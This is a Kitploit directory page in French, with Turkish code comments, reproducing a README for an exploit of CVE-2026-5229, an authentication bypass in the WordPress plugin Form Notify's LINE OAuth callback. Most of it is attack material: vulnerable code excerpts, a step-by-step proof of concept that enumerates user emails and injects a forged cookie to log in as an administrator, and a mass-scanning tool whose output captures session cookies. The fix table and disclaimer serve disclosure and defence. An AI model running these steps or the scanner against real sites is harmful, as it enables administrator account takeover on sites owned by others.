Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-5229 — CVE-2026-5229: Contournement de l'authentification Form Notify via le callback OAuth LINE (CVSS 9.8) | Kitploit
Outils/GitHubGitHub/xxconi/cve-2026-5229
Scanners de VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionAuthentificationApprentissage et Éducation
GitHubxxconi/cve-2026-5229

CVE-2026-5229

CVE-2026-5229: Contournement de l'authentification Form Notify via le callback OAuth LINE (CVSS 9.8)

Voir le dépôt
il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-5229

CVE-2026-5229: Form Notify Auth Bypass via LINE OAuth Callback (CVSS 9.8)

Form Notify — LINE OAuth Authentication Bypass Scanner

Plugin: Form Notify (form-notify) Type de vulnérabilité : Unauthenticated LINE OAuth Authentication Bypass → Account Takeover Score CVSS : 9.8 (Critique) Vecteur CVSS : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Versions affectées : <= 1.1.10 Version corrigée : 1.1.11+ Chercheur : Paolo Tresso — Wordfence


📌 À propos de la vulnérabilité

Le plugin Form Notify est un plugin WordPress qui envoie des notifications après la soumission de formulaires et propose une intégration LINE Login OAuth 2.0.

La vulnérabilité se situe dans le gestionnaire de callback OAuth de LINE. Une fois que l'utilisateur a terminé le flux d'autorisation LINE, le plugin résout le compte WordPress uniquement en fonction de l'adresse email. Il ne vérifie jamais si le compte LINE a déjà été associé à ce compte WordPress.


🔍 Tableau des vulnérabilités par version

VersionVulnérabilitéMéthode d'attaque
<= 1.1.08Injection de cookie + Correspondance emailChemin A ou Chemin B
1.1.09 – 1.1.10Correspondance email (cookie supprimé)Chemin B
1.1.11+Corrigé—

⚙️ Analyse technique

Endpoint REST public

L'endpoint de callback OAuth LINE est enregistré comme étant entièrement public :

root@kitploit:~
// src/APIs/Line/Login/Route.php
register_rest_route(
    'form-notify/v1',
    '/callback',
    array(
        'methods'             => 'GET',
        'callback'            => array( $this, 'get_api_callback' ),
        'permission_callback' => function () {
            return true;  // kimlik doğrulama gerekmez
        },
    )
);

Pourquoi le nonce n'offre-t-il aucune protection ?

Les nonces WordPress sont des jetons CSRF, pas des jetons d'authentification. Chaque visiteur peut obtenir un nonce valide depuis le HTML de la page et réussir le contrôle de vérification.


Résolution de compte par email (1.1.10)

root@kitploit:~
// Route.php — lines 115–116
$has_real_email = ! empty( $user->email );
$user_email     = $has_real_email ? $user->email : $user_raw_id . '@line.com';
root@kitploit:~
// User.php — is_member()
public function is_member( string $user_email, string $user_avatar ): bool {
    $this->user = get_user_by( 'email', $user_email );  // sadece email ile arama
    if ( ! is_wp_error( $this->user ) && $this->user ) {
        return true;  // linkage kontrolü YOK
    }
    return false;
}

Si une correspondance est trouvée, la méthode login() ouvre immédiatement une session :

root@kitploit:~
// User.php — login()
public function login( string $user_raw_id, string $user_email, ... ): void {
    if ( ! is_user_logged_in() ) {
        wp_clear_auth_cookie();
        wp_set_current_user( $this->user->ID );
        wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
    }
}

Injection de cookie (<= 1.1.08)

root@kitploit:~
// Route.php (1.1.08) — lines 115–118
if ( isset( $_COOKIE['form_notify_line_email'] ) ) {
    $line_email = sanitize_text_field(
        wp_unslash( $_COOKIE['form_notify_line_email'] )
    );
}
$user_email = ( $user->email ) ? $user->email : $line_email;

Lorsque le profil LINE ne renvoie pas d'email ($user->email vide), le plugin lit directement le cookie du navigateur. L'attaquant contrôle entièrement ce cookie.


Faiblesse de la validation du state

root@kitploit:~
$session_state = get_transient( 'form_notify_line_state_' . $state );

if ( empty( $session_state ) ) {
    // Transient yoksa $_SESSION'a düşer
    $session_state = sanitize_text_field(
        wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] )
    );
    set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
}

Si la transient a expiré, le repli sur $_SESSION prend le relais. Dans la plupart des installations WordPress, $_SESSION n'est pas rempli à ce stade → le contrôle du state peut être contourné.


Problème secondaire — Email = Mot de passe (<= 1.1.10)

root@kitploit:~
// sign_up() metodu
$userdata = array(
    'user_pass' => $user_email,  // şifre = email adresi
    ...
);

Sur les comptes créés via le flux OAuth LINE, le mot de passe est identique à l'adresse email. Cela permet directement une attaque par force brute ou par connexion.


🔴 Pourquoi est-ce critique ?


🧪 Preuve de concept (manuelle)

⚠️ Disclaimer: This PoC is provided for educational and authorized security testing purposes only. Testing against systems without explicit permission is illegal.

Prérequis :

  • Plugin Form Notify installé et actif, LINE Login configuré
  • Compte développeur LINE et canal LINE Login
  • Une page avec un bouton de connexion LINE sur le site cible

Chemin A — Injection de cookie (<= 1.1.08)

Étape 1 — Détection de l'email cible

root@kitploit:~
TARGET="https://target.com"

# WordPress REST API'den kullanıcı listesi
curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool

# Veya author sayfaları
curl -s "$TARGET/?author=1" -I | grep Location

Étape 2 — Définir le cookie

Ouvre les outils de développement du navigateur et colle dans la console :

root@kitploit:~
document.cookie = "[email protected]; path=/";

Ou avec curl :

root@kitploit:~
curl -v -b '[email protected]' \
  "$TARGET/wp-json/form-notify/v1/login" 2>&1 | grep Location

Étape 3 — Lancer le flux OAuth LINE

Ouvre l'URL OAuth LINE présente dans le header Location dans le navigateur.

Étape 4 — Terminer SANS accorder le scope email

Sur l'écran de consentement LINE, n'accorde pas l'autorisation email, ou utilise un compte LINE sans email. LINE redirige vers le callback sans email. Le plugin retombe sur le cookie.

Étape 5 — Vérifier la session

root@kitploit:~
curl -s -b 'wordpress_logged_in_XXXX=...' \
  "$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool

Réponse attendue :

root@kitploit:~
{
  "id": 1,
  "name": "admin",
  "email": "[email protected]",
  "roles": ["administrator"]
}

Chemin B — Correspondance email (<= 1.1.10)

Étape 1 — Détection de l'email cible

Identique à l'étape 1 du chemin A.

Étape 2 — Créer un compte LINE

Crée un compte LINE avec l'email cible sur account.line.biz. (Nécessite une vérification email — l'accès à la boîte de réception cible est indispensable.)

Étape 3 — Lancer le flux OAuth

root@kitploit:~
https://target.com/wp-json/form-notify/v1/login

Étape 4 — Terminer en ACCORDANT le scope email

Sur l'écran de consentement LINE, accorde l'autorisation email. LINE renvoie l'adresse email au callback.

Étape 5 — Authentification automatique

root@kitploit:~
Plugin: is_member('[email protected]')
     → get_user_by('email', '[email protected]')
     → Administrator bulundu
     → wp_set_auth_cookie(1)
     → Oturum açıldı ✓

🛠️ Scanner automatique

Installation

root@kitploit:~
git clone https://github.com/kullanici/form-notify-bypass
cd form-notify-bypass
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests

🚀 Utilisation

Cible unique — Découverte automatique d'email

root@kitploit:~
python form_notify_rce.py -u http://hedef.com

Chemin A avec email spécifique (injection de cookie)

root@kitploit:~
python form_notify_rce.py -u http://hedef.com \
  --email [email protected] \
  --path A

Chemin B (correspondance email) — Complétion manuelle

root@kitploit:~
python form_notify_rce.py -u http://hedef.com \
  --email [email protected] \
  --path B

Les deux chemins à la fois

root@kitploit:~
python form_notify_rce.py -u http://hedef.com \
  --email [email protected] \
  --path both

Scan en masse

root@kitploit:~
python form_notify_rce.py -l targets.txt -t 15 -o sonuclar.txt

Avec proxy (Burp Suite)

root@kitploit:~
python form_notify_rce.py -u http://hedef.com \
  --proxy http://127.0.0.1:8080

⚙️ Paramètres


📊 Statuts de sortie du scanner


🖥️ Exemple de sortie du scanner

root@kitploit:~
[*] 3 hedef | Form Notify LINE OAuth Bypass | threads=10

[★ AUTH OK   ] http://hedef1.com  (Path A)
  Hedef Email : [email protected]
  Sürüm       : 1.1.08
  OAuth URL   : https://access.line.me/oauth2/v2.1/authorize?...
  Kullanıcı   : admin <[email protected]> roles=['administrator']
  Cookie      : {'wordpress_logged_in_abc123': 'admin|...'}

[~ MANUAL    ] http://hedef2.com  (Path A — Manuel tamamlama)
  Hedef Email : [email protected]
  Cookie Set  : [email protected]
  OAuth URL   : https://access.line.me/oauth2/v2.1/authorize?...
  State       : a1b2c3d4e5f6

[- NO_LINE   ] http://hedef3.com  (LINE Login aktif değil)

──────────────────────────────────────────────────────────────
  DONE                        :    2
  NO_LINE                     :    1
──────────────────────────────────────────────────────────────
  Auth bypass → auth_bypass.txt
──────────────────────────────────────────────────────────────

🛡️ Défense / Correctif

Exemple de résolution de compte sécurisée :

root@kitploit:~
// Güvensiz (mevcut)
$user = get_user_by( 'email', $line_email );

// Güvenli (önerilen)
$users = get_users( array(
    'meta_key'   => 'line_user_id',
    'meta_value' => $line_user_id,  // LINE ID ile eşleştir
) );

📁 Structure des fichiers

root@kitploit:~
form-notify-bypass/
├── form_notify_rce.py   # Ana tarayıcı
├── requirements.txt     # Bağımlılıklar
└── README.md            # Bu dosya

⚠️ Avertissement légal

Cet outil et cette preuve de concept ont été préparés pour être utilisés uniquement sur des systèmes autorisés, à des fins éducatives et dans le cadre de tests d'intrusion. Leur utilisation sur des systèmes non autorisés constitue une infraction au regard des articles 243 à 245 du Code pénal turc et des lois internationales sur la cybercriminalité. Le développeur décline toute responsabilité légale découlant d'une mauvaise utilisation de l'outil.


📄 Licence

MIT License — Uniquement à des fins éducatives et de recherche.


🔗 Références

  • Wordfence Advisory
  • LINE Login OAuth 2.0 Docs
  • WordPress Plugin Directory — Form Notify
  • CVSS 3.1 Calculator
  • OAuth 2.0 Security Best Practices — RFC 9700
Télécharger l’outil
RaisonDescription
Aucune authentification requiseL'endpoint de callback est entièrement public
Aucun contrôle de liaisonN'importe quel compte LINE suffit
Attaque par cookieEmail même pas nécessaire sur <= 1.1.08
Tous les comptes, y compris adminget_user_by('email') affecte tout le monde
Contrôle du state faibleLa protection CSRF peut être contournée
Email = Mot de passeLes comptes créés via OAuth sont vulnérables à une force brute triviale
ParamètreCourtDescriptionDéfaut
--url-uURL de cible unique—
--list-lFichier de liste de cibles—
--threads-tNombre de threads10
--output-oFichier de sortieauth_bypass.txt
--email—Email de l'utilisateur cibledécouverte automatique
--path—Chemin d'attaque (A / B / both)both
--max-users—Max d'utilisateurs par cible5
--proxy—URL du proxy—
--timeout—Délai d'expiration de la requête (s)10
StatutDescription
★ AUTH OKCookie de session obtenu — entièrement automatique
★ WP-ADMINRedirigé vers /wp-admin
~ MANUALURL OAuth prête, à compléter dans le navigateur
~ PATH BÉtapes manuelles avec un compte LINE
- NO_PLUGINForm Notify n'est pas installé
- NO_LINELINE Login n'est pas actif
~ NO_TARGETEmail d'utilisateur introuvable
~ UNREACHCible inaccessible
MesureMise en œuvre
Mise à jour du pluginMettre à niveau vers Form Notify 1.1.11+
Contrôle de liaison LINEEnregistrer l'ID LINE dans les métadonnées utilisateur, vérifier à chaque connexion
Supprimer le repli cookieRetirer l'utilisation de $_COOKIE['form_notify_line_email']
Validation du stateRetirer le repli transient, rejeter les state expirés
Politique de mot de passeNe pas utiliser l'email comme mot de passe dans sign_up()
Protection de l'endpoint RESTAppliquer un rate limiting à l'endpoint de callback